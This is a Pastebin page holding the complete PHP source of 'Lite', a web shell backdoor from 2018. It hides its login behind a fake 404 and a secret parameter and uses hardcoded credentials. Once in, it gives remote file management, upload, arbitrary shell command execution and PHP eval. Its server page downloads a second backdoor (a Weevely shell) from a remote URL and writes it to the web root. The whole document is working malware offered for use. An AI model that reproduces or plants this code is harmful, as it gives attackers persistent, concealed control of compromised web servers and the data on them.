Advertisement
shutdown57

Lite

Jul 21st, 2018
900
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 23.16 KB | None | 0 0
  1. <?php
  2. /**
  3. * Lite 1.0
  4. *
  5. * [ Lite - Simple shell backdoor ].
  6. * [ Feature : Filemanager,command,upload,php,server info,etc. ]
  7. *
  8. * @author shutdown57 < alinkokomansuby@gmail.com >
  9. * @version 1.0
  10. * @copyright (c) 2018 Alinko.
  11. *
  12. **/
  13. @session_start();
  14. @ob_start();
  15. set_time_limit(0);
  16. error_reporting(0);
  17. header("X-XSS-Protection: 0");
  18.  
  19. /**
  20. *
  21. * /------------------------------------/
  22. * / Lite WebBackdoor configuration     /
  23. * /------------------------------------/
  24. *
  25. * NB : Uncomment this if u lose ur configuration script.
  26. *
  27. * ------- [DEFAULT CONFIG] ------------ /
  28.  
  29. $config = array();
  30. $config['username']         = "lite";
  31. $config['password']         = "lite";
  32. $config['default_action']   = "filemanager";
  33. $config['version']          = "1.0-2018";
  34. $config['hidden_login']     = true;
  35. $config['parameter']        = 'lite_login';
  36.  
  37. * --------[    E O F     ] ------------/
  38. *
  39. * Accessing this backdoor ::
  40. *
  41. * Link        : http://example.com/lite.php?lite_login
  42. * Username    : lite
  43. * Password    : lite
  44. *
  45. */
  46.  
  47. $config = array();
  48. $config['username']         = "lite"; // username
  49. $config['password']         = "lite"; // password
  50. $config['default_action']   = "filemanager"; // upload , php , command , server , filemanager.
  51. $config['version']          = "1.0-2018"; // version.subversion-revision
  52. $config['hidden_login']     = true;     // if true lite login be hidden and for accessing login page , u must add parameter in last filename like "shell.php?parameter" , for parameter config on the bellow
  53. $config['parameter']        = 'lite_login'; // parameter for accessing login page if hidden_login true. "shell.php?lite_login" for default parameter.
  54. /**
  55. *
  56. * /-----------------------------------/
  57. * / Lite define path,action,etc.      /
  58. * /-----------------------------------/
  59. */
  60. define('ROOT',getcwd());
  61. define('CURR_PATH',(empty($_GET['p'])) ? ROOT : $_GET['p']);
  62. define('ACTION',(empty($_GET['a'])) ? $config['default_action'] : $_GET['a']);
  63. define('DS',DIRECTORY_SEPARATOR);
  64.  
  65. // login form function
  66. function form_login()
  67. {
  68.  echo "<div style='margin-top:50px;'><center><img src='//coba.kartinisoft.com/src/lite-icon.png'><h3>Lite shell.</h3>";
  69.   echo "<form method='post'><br><input type='text' name='username' placeholder='username' style='width:200px'><br><input type='password' name='password' placeholder='password' style='width:200px'><br><br><input type='submit' value='Login' name='login' style='width:200px'></form></center></div>";
  70. }
  71.  
  72. // login authetication
  73. if(empty($_SESSION['lite1337']) && !empty($config['username']) && !empty($config['password']))
  74. {
  75. if($config['hidden_login'] === true){
  76.    
  77.     if(isset($_GET[$config['parameter']]))
  78.     {
  79.         form_login();
  80.     }else{
  81.         die(header('HTTP/1.1 404 Not Found'));
  82.     }
  83. }else{
  84.     form_login();
  85. }
  86.   if(isset($_POST['login']))
  87.   {
  88.    if($_POST['username'] == $config['username'] && $_POST['password'] == $config['password'])
  89.    {
  90.     $_SESSION['lite1337'] = TRUE;
  91.     echo "<meta http-equiv='refresh' content='0;url=?login={$config['username']}_{$config['password']}'>";
  92.    }  
  93.   }
  94.   exit;
  95. }
  96.  
  97. ?>
  98. <!DOCTYPE html>
  99. <html>
  100. <head>
  101.     <title>Lite - <?=$_SERVER['HTTP_HOST'];?></title>
  102.     <meta charset="utf-8">
  103.     <meta name="author" content="shutdown57">
  104.     <meta name="description" content="Lite shell.">
  105.     <link rel="shortcut icon"  href="//coba.kartinisoft.com/src/lite-icon.png">
  106.     <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.1.1/css/all.css" integrity="sha384-O8whS3fhG2OnA5Kas0Y9l3cfpmYjapjI0E4theH4iuMD+pLhbf6JI0jIMfYcK3yZ" crossorigin="anonymous">
  107.     <style type="text/css">
  108.         html,body{background: #333;color: #eee;font-family:arial;}
  109.         nav{background: #eee;color: #333;}
  110.         li{list-style: none;display: inline-block;}
  111.         li a{color: #333;text-decoration: none;font-size:25px;margin:40px;background: #eee}
  112.         li a:hover{color: #888;text-shadow: 0px 3px 0px #000}
  113.         .container{width:70%;margin:0 auto;}
  114.         .table_filemanager{width: 100%;margin-top:5px;text-align: left;border-collapse: collapse;font-size: 15px}
  115.         .table_filemanager tr:nth-child(even){background: #444}.table_filemanager tr:hover,.table_filemanager tr:nth-child(even):hover{background: #666}.table_filemanager th{background: #eee;color: #333}
  116.         a{color: #fff;text-decoration: none;}a:hover{color: #eee;text-decoration: underline;}
  117.         select{background:transparent;border: 1px solid #eee;color: #eee}
  118.         option{background:#333}
  119.         textarea,input{color:#eee;border: 1px solid #eee;background: transparent;}
  120.         textarea{width:100%;height: 300px}input{padding:5px}
  121.         .lite{float: left;border-right:2px solid #333;font-family: courier new;font-weight: bold;text-shadow: 0px 4px 8px #000}
  122.     </style>
  123.     <script type="text/javascript">
  124.  
  125.         function select_all(pilih)
  126.             {
  127.                 var cek = document.getElementsByName('fl[]');
  128.                 for (var i =0; n=cek.length;i++) {
  129.                     cek[i].checked = pilih.checked;
  130.                 }
  131.             }
  132.             function hs(a,x)
  133.             {
  134.                 document.getElementById(a).style.display='block';
  135.                 document.getElementById(x).style.display='none';
  136.             }
  137.     </script>
  138. </head>
  139. <?php
  140. function lite_curpath($path,$goto){
  141.   $dir = str_replace("\\","/",$path);
  142.    $dir = (is_file($dir)) ? dirname($dir): $dir;
  143.   $dir = explode("/",$dir);
  144.   foreach($dir as $o=>$i){
  145.     if($i == "" && $o == 0){
  146.       echo "<a href=\"?".$goto."=/\">/</a>";continue;}
  147.       if($i == "")continue;
  148.       echo "<a href=\"?".$goto."=";
  149.       for($p=0;$p<=$o;$p++){
  150.         echo $dir[$p]; if($p != $o){
  151.           echo "/";} } echo "&a=filemanager\">".$i."</a>/";}
  152.           if(is_writable($path)){echo "- [<b><font color=lime>W</font></b>]";}elseif(is_readable($path)){echo "- [<b><font color=red>R</font></b>]";}else{echo "- [<b><font color=grey>Unknown</font></b>]<meta http-equiv='refresh' content='4;url=?'>";}
  153.           echo "[<a href='?a=logout'><font color=red>Logout</font></a>]";
  154.   }
  155. ?>
  156. <body>
  157. <div class="container">
  158. <header>
  159.     <nav>
  160.         <li class="lite"><a href="?p=<?=ROOT;?>">Lite 1.0</a></li>
  161.         <center>
  162.        
  163.         <li><a href="?p=<?=ROOT;?>&a=filemanager" title="Beranda"><i class="fa fa-home"></i></a></li>
  164.         <li><a href="?p=<?=CURR_PATH;?>&a=upload" title="Upload file"><i class="fa fa-upload"></i></a></li>
  165.         <li><a href="?p=<?=CURR_PATH;?>&a=command" title="Command"><i class="fa fa-terminal"></i></a></li>
  166.         <li><a href="?p=<?=CURR_PATH;?>&a=php" title="PHP"><i class="fab fa-php"></i></a></li>
  167.         <li><a href="?p=<?=CURR_PATH;?>&a=server" title="Server"><i class="fa fa-server"></i></a></li>
  168.         <li><a href="?p=<?=CURR_PATH;?>&a=lite"><i class="fa fa-cogs"></i></a></li>
  169.     </center>
  170.     </nav><br>
  171.     <div id="cp">
  172.     <a href="#" onclick="hs('goto','cp')"><i class="fa fa-folder-open"></i></a> : <?=lite_curpath(CURR_PATH,'p');?>
  173. </div>
  174.     <form method="get" id="goto" style="display: none;">
  175.         <label><a href="#" onclick="hs('cp','goto')">Go to dir :</a></label>
  176.         <input type="text" name="p" value="<?=CURR_PATH;?>" style="width:300px"><input type="submit" value="GO !">
  177.     </form>
  178.     <br>
  179. </header>
  180. <?php
  181. function lite_filesize($file)
  182. {
  183.     $size = filesize($file)/1024;
  184.     $size = round($size,3);
  185.     if($size > 1024){
  186.         $size = round($size/1024,2). 'MB';
  187.     } else {
  188.         $size = $size. 'KB';}
  189.         return $size;
  190. }
  191. function lite_lastmod($file)
  192. {
  193.     $fdm=@date("d-m-Y H:i:s", filemtime($file));
  194.     return $fdm;
  195. }
  196. function lite_perms($file)
  197. {
  198.     $perms = fileperms($file);
  199.     if (($perms & 0xC000) == 0xC000) {
  200.         $info = 's';} elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} elseif (($perms & 0x8000) == 0x8000) {$info = '-';} elseif (($perms & 0x6000) == 0x6000) {$info = 'b';} elseif (($perms & 0x4000) == 0x4000) {$info = 'd';} elseif (($perms & 0x2000) == 0x2000) {$info = 'c';} elseif (($perms & 0x1000) == 0x1000) {$info = 'p';} else {$info = 'u';}$info .= (($perms & 0x0100) ? 'r' : '-');$info .= (($perms & 0x0080) ? 'w' : '-');$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));$info .= (($perms & 0x0020) ? 'r' : '-');$info .= (($perms & 0x0010) ? 'w' : '-');$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
  201.         return $info;
  202. }
  203. function lite_action($dir,$action)
  204. {
  205.     $a = "";
  206.     $x = basename($dir);
  207.     if($action == 'dir')
  208.     {   $a.= "[ ";
  209.         $a.= "<a href='?p={$dir}&a=delete' title='delete : {$x}'><i class='fa fa-trash'></i></a> / ";
  210.         $a.= "<a href='?p={$dir}&a=rename' title='rename : {$x}'><i class='fa fa-file-signature'></i></a> ";
  211.         $a.= "]";
  212.     }elseif($action == 'file')
  213.     {   $a.= "[ ";
  214.         $a.= "<a href='?p={$dir}&a=delete' title='delete : {$x}'><i class='fa fa-trash'></i></a> / ";
  215.         $a.= "<a href='?p={$dir}&a=rename' title='rename : {$x}'><i class='fa fa-file-signature'></i></a> / ";
  216.         $a.= "<a href='?p={$dir}&a=edit' title='edit : {$x}'><i class='fa fa-pencil-alt'></i></a> / ";
  217.         $a.= "<a href='?p={$dir}&a=dl' title='download : {$x}'><i class='fa fa-download'></i></a> ]";
  218.     }
  219.  
  220.     return $a;
  221. }
  222. function lite_action2($dir)
  223. {
  224.     $p = $dir;
  225.     $a = "<br><hr><table><tr><td>";
  226.     $a.= "Filesname </td><td><b> ".basename($dir)."</b>  </td></tr><tr><td>";
  227.     $a.= "Permission </td><td><b> ".lite_perms($dir)."</b>  </td></tr><tr><td>";
  228.     $a.= "File size  </td><td><b> ".lite_filesize($dir)."</b>  </td></tr><tr><td>";
  229.     $a.= "Last modified </td><td><b> ".lite_lastmod($dir)."</b> </td></tr><tr><td> ";
  230.     $a.= "Action  </td><td>";
  231.     $a.= "[<a href='?p={$p}&a=rename'>Rename</a>]";
  232.     $a.= "[<a href='?p={$p}&a=delete'>Delete</a>]";
  233.     $a.= "[<a href='?p={$p}&a=edit'>Edit</a>]";
  234.     $a.= "[<a href='?p={$p}&a=dl'>Download</a>]";
  235.     $a.= "</td></tr></table><hr>";
  236.     return $a;
  237. }
  238. function lite_delete($dir)
  239. {
  240. if(is_dir($dir)){
  241.     if(!rmdir($dir)){
  242.       $s=scandir($dir);
  243.       foreach ($s as $ss) {
  244.         if(is_file($dir."/".$ss)){
  245.           if(unlink($dir."/".$ss)){
  246.             $rm=rmdir($dir);
  247.           }
  248.         }
  249.         if(is_dir($dir."/".$ss)){
  250.           $rm=rmdir($dir."/".$ss);
  251.           $rm.=rmdir($dir);
  252.         }
  253.       }
  254.   }elseif(is_file($dir)){
  255.     $rm = unlink($dir);
  256.   }
  257. }elseif(is_file($dir))
  258. {
  259.   $rm = unlink($dir);
  260. }
  261. return $rm;
  262. }
  263.  
  264. function lite_cmd($cmd)
  265. {
  266.  if(function_exists('system')) {    
  267.     @ob_start();    
  268.     @system($cmd);    
  269.     $c = @ob_get_contents();    
  270.     @ob_end_clean();    
  271.     return $c;  
  272.   } elseif(function_exists('exec')) {    
  273.     @exec($cmd,$results);    
  274.     $c = "";    
  275.     foreach($results as $result) {      
  276.       $c .= $result;    
  277.     } return $c;  
  278.   } elseif(function_exists('passthru')) {    
  279.     @ob_start();    
  280.     @passthru($cmd);    
  281.     $c = @ob_get_contents();    
  282.     @ob_end_clean();    
  283.     return $c;  
  284.   } elseif(function_exists('shell_exec')) {    
  285.     $c = @shell_exec($cmd);    
  286.     return $c;  
  287.   }
  288. }
  289. function lite_redirect($kemana,$apa = 'html')
  290. {
  291.     if($apa == 'html')
  292.     {
  293.         echo "<meta http-equiv='refresh' content='0;url={$kemana}'>";
  294.     }elseif($apa == 'js')
  295.     {
  296.         echo "<script>window.location.href='{$kemana}';</script>";
  297.     }elseif($apa == 'php')
  298.     {
  299.         @ob_start();
  300.         header('location:'.$kemana);
  301.         flush();
  302.     }
  303. }
  304. function lite_download($file)
  305. {
  306.     @ob_clean();
  307.     header('Content-Description: File Transfer');
  308.     header('Content-Type: application/octet-stream');
  309.     header('Content-Disposition: attachment; filename="'.basename($file).'"');
  310.     header('Expires: 0');
  311.     header('Cache-Control: must-revalidate');
  312.     header('Pragma: public');
  313.     header('Content-Length: ' . filesize($file));
  314.     readfile($file);
  315.     exit;
  316. }
  317. function lite_upload($a,$b){
  318.   if(function_exists('move_uploaded_file')){
  319.     $upl = move_uploaded_file($a,$b);
  320.   }elseif (function_exists('copy')) {
  321.     $upl = copy($a,$b);
  322.   }
  323.     return $upl;
  324.   }
  325. function lite_array_upload($file){
  326.     $file_ary = array();
  327.     $file_count = count($file['name']);
  328.      $file_key = array_keys($file);
  329.      for($i=0;$i<$file_count;$i++) {
  330.       foreach($file_key as $val) {
  331.         $file_ary[$i][$val] = $file[$val][$i];
  332.       }
  333.     }
  334.     return $file_ary;
  335.   }
  336. function lite_title($text)
  337. {
  338.     echo "<br><hr>";
  339.     echo "<center><h3>..:: $text ::..</h3></center>";
  340.     echo "<hr><br>";
  341. }
  342. function lite_sysfo()
  343.  {
  344.   $mysql = (function_exists('mysql_connect')) ? "<font color=lime>YES</font>" : "<font color=red>NO</font>";
  345.   $mysqli = (function_exists('mysqli_connect')) ? "<font color=lime>YES</font>" : "<font color=red>NO</font>";
  346.   $wget = (lite_cmd('wget --help')) ? "<font color=lime>YES</font>" : "<font color=red>NO</font>";
  347.   $curl = (function_exists('curl_init')) ? "<font color=lime>YES</font>" : "<font color=red>NO</font>";
  348.   $perl = (lite_cmd('perl --help')) ? "<font color=lime>YES</font>" : "<font color=red>NO</font>";
  349.   $python = (lite_cmd('python --help')) ? "<font color=lime>YES</font>" : "<font color=red>NO</font>";
  350.   $bash = (lite_cmd('bash --version')) ? "<font color=lime>YES</font>" : "<font color=red>NO</font>";
  351.   $gcc = (lite_cmd('gcc --help')) ? "<font color=lime>YES</font>" :"<font color=red>NO</font>";
  352.   $sm = (ini_get('safe_mode') == 'on') ? "<font color=lime>YES</font>" : "<font color=red>NO</font>";
  353.   $df = (ini_get('disable_functions')) ? wordwrap(ini_get('disable_functions'),100,"\n",true) : "<font color=red>NO !</font>";
  354.   $sysfo = [
  355.     'Hostname' => $_SERVER['HTTP_HOST'],
  356.     'System' => php_uname(),
  357.     'PHP_version' => phpversion(),
  358.     'Software' => $_SERVER['SERVER_SOFTWARE'],
  359.     'IP_Server' => gethostbyname($_SERVER['HTTP_HOST']),
  360.     'IP_Client' => $_SERVER['REMOTE_ADDR'],
  361.     'MySQL' => $mysql,
  362.     'MySQLi' => $mysqli,
  363.     'Wget' => $wget,
  364.     'Curl' => $curl,
  365.     'Perl' => $perl,
  366.     'Python' => $python,
  367.     'Bash' => $bash,
  368.     'gcc' => $gcc,
  369.     'Safe_mode' => $sm,
  370.     'disable_functions' => $df];
  371.     return $sysfo;
  372.  }
  373.  
  374. if(ACTION == "filemanager")
  375. {
  376. ?>
  377. <form method="post">
  378. <table class="table_filemanager" >
  379.     <thead>
  380.         <th><input type="checkbox" name="fl[]" onclick="select_all(this)"></th>
  381.         <th>Files</th>
  382.         <th>Size</th>
  383.         <th>Last modified</th>
  384.         <th>Permission</th>
  385.         <th>Action</th>
  386.     </thead>
  387.     <tbody>
  388.         <tr><td></td><td><a href="?p=<?=dirname(CURR_PATH);?>&a=filemanager"><i class="fa fa-long-arrow-alt-left"></i> Back</a></td><td></td><td></td><td></td><td align="right"><a href="?p=<?=CURR_PATH;?>&a=newfile"><i class="fa fa-plus"></i> file </a>|<a href="?p=<?=CURR_PATH;?>&a=newdir"><i class="fa fa-plus"></i> dir</a></td></tr>
  389.         <?php
  390.         $s = scandir(CURR_PATH);
  391.         @chdir(CURR_PATH);
  392.         foreach($s as $d)
  393.         {if(!is_dir(CURR_PATH.DS.$d)|| $d == '.'  || $d == '..')continue;
  394.         $perm = (is_writable(CURR_PATH.DS.$d)) ? "<font color=lime>".lite_perms(CURR_PATH.DS.$d)."</font>" : "<font color=red>".lite_perms(CURR_PATH.DS.$d)."</font>";
  395.             echo "<tr title='Dir : {$d}'>";
  396.             echo "<td><input type='checkbox' name='fl[]' value='".CURR_PATH.DS."{$d}'></td>";
  397.             echo "<td><i class='fa fa-folder'></i> <a href='?p=".CURR_PATH.DS.$d."&a=filemanager'>{$d}</a></td>";
  398.             echo "<td>".lite_filesize(CURR_PATH.DS.$d)."</td>";
  399.             echo "<td>".lite_lastmod(CURR_PATH.DS.$d)."</td>";
  400.             echo "<td>".$perm."</td>";
  401.             echo "<td align='right'>".lite_action(CURR_PATH.DS.$d,'dir')."</td>";
  402.             echo "</tr>";
  403.         }
  404.         foreach($s as $f)
  405.         {if(!is_file(CURR_PATH.DS.$f)|| $f == '.'  || $f == '..')continue;
  406.         $perm = (is_writable(CURR_PATH.DS.$f)) ? "<font color=lime>".lite_perms(CURR_PATH.DS.$f)."</font>" : "<font color=red>".lite_perms(CURR_PATH.DS.$f)."</font>";
  407.             echo "<tr title='file : {$f}'>";
  408.             echo "<td><input type='checkbox' name='fl[]' value='".CURR_PATH.DS."{$f}'></td>";
  409.             echo "<td><i class='fa fa-file'></i> <a href='?p=".CURR_PATH.DS.$f."&a=view'>{$f}</a></td>";
  410.             echo "<td>".lite_filesize(CURR_PATH.DS.$f)."</td>";
  411.             echo "<td>".lite_lastmod(CURR_PATH.DS.$f)."</td>";
  412.             echo "<td>".$perm."</td>";
  413.             echo "<td align='right'>".lite_action(CURR_PATH.DS.$f,'file')."</td>";
  414.             echo "</tr>";
  415.         }
  416.         ?>
  417.         <tr style="background: #222"><td colspan="2">
  418.             Action :<select name="action">
  419.                 <option>----[ action ]----</option>
  420.           <option value="delete">Delete</option>
  421.           <?php
  422.           if(empty($_SESSION['cfile'])){
  423.             ?>
  424.           <option value="copy">Copy</option>
  425.           <?php
  426.             }else{
  427.               ?><option value="paste">Paste</option><?php
  428.             }
  429.             ?>
  430.         </select>  <input type="submit" name="sac" value=">>" style="padding: 1px">
  431.             </select>
  432.         </td><td colspan="4">
  433.             <p style='text-align: right;font-size: 15px;margin: 1px'>copyright &copy; 2018 - Made with &hearts; by <i>shutdown57</i></p>
  434.         </td></tr>
  435.     </tbody>
  436. </table>
  437. </form>
  438. <?php
  439. if(isset($_POST['sac']))
  440. {
  441.      if($_POST['action'] == 'delete')
  442.     {
  443.       foreach($_POST['fl'] as $dfil)
  444.       {
  445.         @lite_delete($dfil);
  446.       }
  447.       @lite_redirect('?p='.CURR_PATH.'&a=filemanager');
  448.     }elseif($_POST['action'] == 'copy')
  449.     {
  450.       $_SESSION['cfile'] = $_POST['fl'];
  451.       @lite_redirect('?p='.CURR_PATH.'&a=filemanager');
  452.     }elseif($_POST['action'] == 'paste')
  453.     {
  454.       foreach($_SESSION['cfile'] as $paste)
  455.       {
  456.         copy($paste,CURR_PATH.DS.basename($paste));
  457.       }
  458.       unset($_SESSION['cfile']);
  459.       @lite_redirect('?p='.CURR_PATH.'&a=filemanager');
  460.     }
  461.  
  462. }
  463. }elseif(ACTION == 'view')
  464. {
  465.     echo lite_action2(CURR_PATH);
  466.     echo '<textarea readonly="">'.htmlspecialchars(file_get_contents(CURR_PATH)).'</textarea>';
  467. }elseif(ACTION == 'delete')
  468. {
  469.     @lite_delete(CURR_PATH);
  470.     @lite_redirect('?p='.dirname(CURR_PATH));
  471. }elseif(ACTION == 'rename')
  472. {
  473.     echo lite_action2(CURR_PATH);
  474.     echo "<form method=post>";
  475.     echo "<label>New name : </label>";
  476.     echo "<input type='text' name='newname' placeholder='lite.php' style='width:300px'>";
  477.     echo "<input type='submit' name='s' value='save'>";
  478.     echo "</form>";
  479.     if(isset($_POST['s']))
  480.     {
  481.         $newname = dirname(CURR_PATH).DS.$_POST['newname'];
  482.         @rename(CURR_PATH,$newname);
  483.         @lite_redirect('?p='.dirname(CURR_PATH));
  484.     }
  485.  
  486. }elseif(ACTION == 'edit')
  487. {
  488.     echo lite_action2(CURR_PATH);
  489.     echo "<form method=post>";
  490.     echo "<textarea name='konten'>".htmlspecialchars(file_get_contents(CURR_PATH))."</textarea><br>";
  491.     echo "<input type='submit' name='s' value='save'  style='width:200px'>";
  492.     echo "</form>";
  493.     if(isset($_POST['s']))
  494.     {
  495.         $konten = $_POST['konten'];
  496.         $fp = fopen(CURR_PATH,'w');
  497.         fwrite($fp,$konten);
  498.         fclose($fp);
  499.         @lite_redirect('?p='.dirname(CURR_PATH));
  500.     }
  501. }elseif(ACTION == 'dl')
  502. {
  503.     echo lite_action2(CURR_PATH);
  504.     @lite_download(CURR_PATH);
  505. }elseif(ACTION == 'upload')
  506. {
  507.     lite_title('Upload file ( multiple )');
  508.     echo "<form method='post' enctype='multipart/form-data'>";
  509.     echo "<label>Upload to : </label><input type='text' name='targetdir' value='".CURR_PATH."' style='width:300px'><br><br>";
  510.     echo "<label>Select file : </label><input type='file' name='flite[]'style='width:300px'  multiple><br>";
  511.     echo "<br><input type='submit' name='upload' value='Upload !' style='width:300px'><br><br>";
  512.  
  513.     if(isset($_POST['upload']))
  514.     {
  515.         $list_file = lite_array_upload($_FILES['flite']);
  516.         foreach($list_file as $file)
  517.         {   $uf = $_POST['targetdir'].DS.$file['name'];
  518.             if(lite_upload($file['tmp_name'],$uf))
  519.             {
  520.                 $msg.= "[<font color=lime>SUCCESS</font>] Uploaded file : $uf <br>";
  521.             }else{
  522.                 $msg.= "[<font color=red>FAILED</font>] Upload file : $uf <br>";
  523.             }
  524.         }
  525.         echo $msg;
  526.     }
  527. }elseif(ACTION == 'command')
  528. {
  529.     lite_title('Command');
  530.     echo "<form method=post>";
  531.     echo "<label>lite@console :: </label>";
  532.     echo "<input type='text' name='cmd' style='width:60%;margin:0 auto;'>";
  533.     echo "<input type='submit' value='Execute'>";
  534.     if(isset($_POST['cmd']))
  535.     {
  536.         echo "<br>";
  537.         echo "<hr>";
  538.         echo "<pre>";
  539.         echo lite_cmd($_POST['cmd']);
  540.         echo "</pre>";
  541.        
  542.     }
  543. }elseif(ACTION == 'php')
  544. {
  545.     ?>
  546.     <script type="text/javascript">
  547.         window.onload = function()
  548.         {
  549.             document.getElementById('eval').style.display='block';
  550.         }
  551.         function sh(w,u)
  552.         {
  553.             document.getElementById(w).style.display='block';
  554.             document.getElementById(u).style.display='none';
  555.         }
  556.     </script>
  557.     <?php
  558.     lite_title('PHP');
  559.     echo "<center>";
  560.     echo "PHP version : ".phpversion();
  561.     echo "<br>[<a href='#' onclick=\"sh('phpinfo','eval')\">phpinfo</a>][<a href='#' onclick=\"sh('eval','phpinfo')\">eval</a>]</center>";
  562.  
  563. echo "<div id='phpinfo' style='display:none;'>";
  564. @ob_start();
  565. @eval("phpinfo();");
  566. $pxp = @ob_get_contents();
  567. @ob_end_clean();
  568. $awal = strpos($pxp,"<body>")+6;
  569. $akhir = strpos($pxp,"</body>");
  570. echo "<center>".substr($pxp,$awal,$akhir-$awal)."</center>";
  571. echo "</div>";
  572. echo "<div id='eval' style='display:none;'><br>";
  573. echo "<form method=post><textarea name='eval'>echo 'hello';</textarea><br>";
  574. echo "<input type='submit' name='run' value='Run !' style='width:300px'><br>";
  575. echo "</div>";
  576.  
  577. if(isset($_POST['run']))
  578. {
  579.     $eval = $_POST['eval'];
  580.     echo "<hr>";
  581.     @eval($eval);
  582. }
  583.  
  584. }elseif(ACTION == 'server')
  585. {
  586.     if(!file_exists(ROOT.DS.'weevely.php')){
  587.     $fp = fopen(ROOT.DS.'weevely.php','w');
  588.     fwrite($fp,@file_get_contents('https://raw.githubusercontent.com/justalinko/justalinko.github.io/master/jshell/Jweevely.php'));
  589.     fclose($fp);
  590.     }
  591.     lite_title('Server');
  592.     echo "<center>[<a href='#' onclick=\"hs('sysfo','weevely')\">Server info</a>] [<a href='#' onclick=\"hs('weevely','sysfo')\">Weevely</a>]</center>";
  593.     echo "<hr>";
  594.     echo "<table width=100% id='sysfo'>";
  595.     foreach(lite_sysfo() as $name=>$val)
  596.     {
  597.         echo "<tr><td>{$name}</td><td>{$val}</td></tr>";
  598.     }
  599.     echo "</table>";
  600.  
  601.     echo "<div id='weevely' style='display:none'>";
  602.     if(file_exists(ROOT.DS.'weevely.php'))
  603.     {
  604.         echo "<font color=lime> Weevely available.</font> open your terminal and remote weevely :D <br>";
  605.         echo "$ python weevely.py http://".$_SERVER['HTTP_HOST']."/weevely.php jshellv1 <br>";
  606.     }else{
  607.         echo "Weevely not exists";
  608.     }
  609. }elseif(ACTION == 'newfile')
  610. {
  611.     lite_title('New file');
  612.     echo "<form method=post>";
  613.     echo "<textarea name='konten'></textarea><br>";
  614.     echo "<label>Save as :</label><input type='text' name='targetdir' value='".CURR_PATH.DS."newfile.php' style='width:60%'>";
  615.     echo "<input type='submit' name='s' value='save'  style='width:200px'>";
  616.     echo "</form>";
  617.     if(isset($_POST['s']))
  618.     {
  619.         $konten = $_POST['konten'];
  620.         $fp = fopen($_POST['targetdir'],'w');
  621.         fwrite($fp,$konten);
  622.         fclose($fp);
  623.         @lite_redirect('?p='.dirname(CURR_PATH));
  624.     }
  625. }elseif(ACTION == 'newdir')
  626. {
  627.     echo "<form method=post>";
  628.     echo "<label>Make dir : </label>";
  629.     echo "<input type='text' name='dir' placeholder='directory' style='width:300px'>";
  630.     echo "<input type='submit' name='s' value='save'>";
  631.     echo "</form>";
  632.     if(isset($_POST['s']))
  633.     {
  634.         $newname = CURR_PATH.DS.$_POST['dir'];
  635.         @mkdir($newname);
  636.         @lite_redirect('?p='.CURR_PATH);
  637.     }
  638. }elseif(ACTION == 'logout')
  639. {
  640.     session_destroy();
  641.     @lite_redirect('?');
  642. }elseif(ACTION == 'lite')
  643. {
  644.     lite_title("LITE WebBackdoor v1.0");
  645.     echo "<pre>";
  646.     echo "<h3>About</h3>";
  647.     echo "<p>   <b>Lite</b> is a simple and lightweight shell backdoor for excute shell command,filemanager and other.<br>Made with purpose needs penetration testing or filemanager only.</p>";
  648.     echo"<h3>Configuration</h3>";  
  649.     foreach ($config as $name => $value) {
  650.         echo "<font color=green>{$name}</font> ::: <font color=lime>{$value}</font><br>";
  651.     }
  652.  
  653.     echo "</pre>";
  654. }
  655. ?>
  656. </div>
  657. <br><br><br>
  658. </body>
  659. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement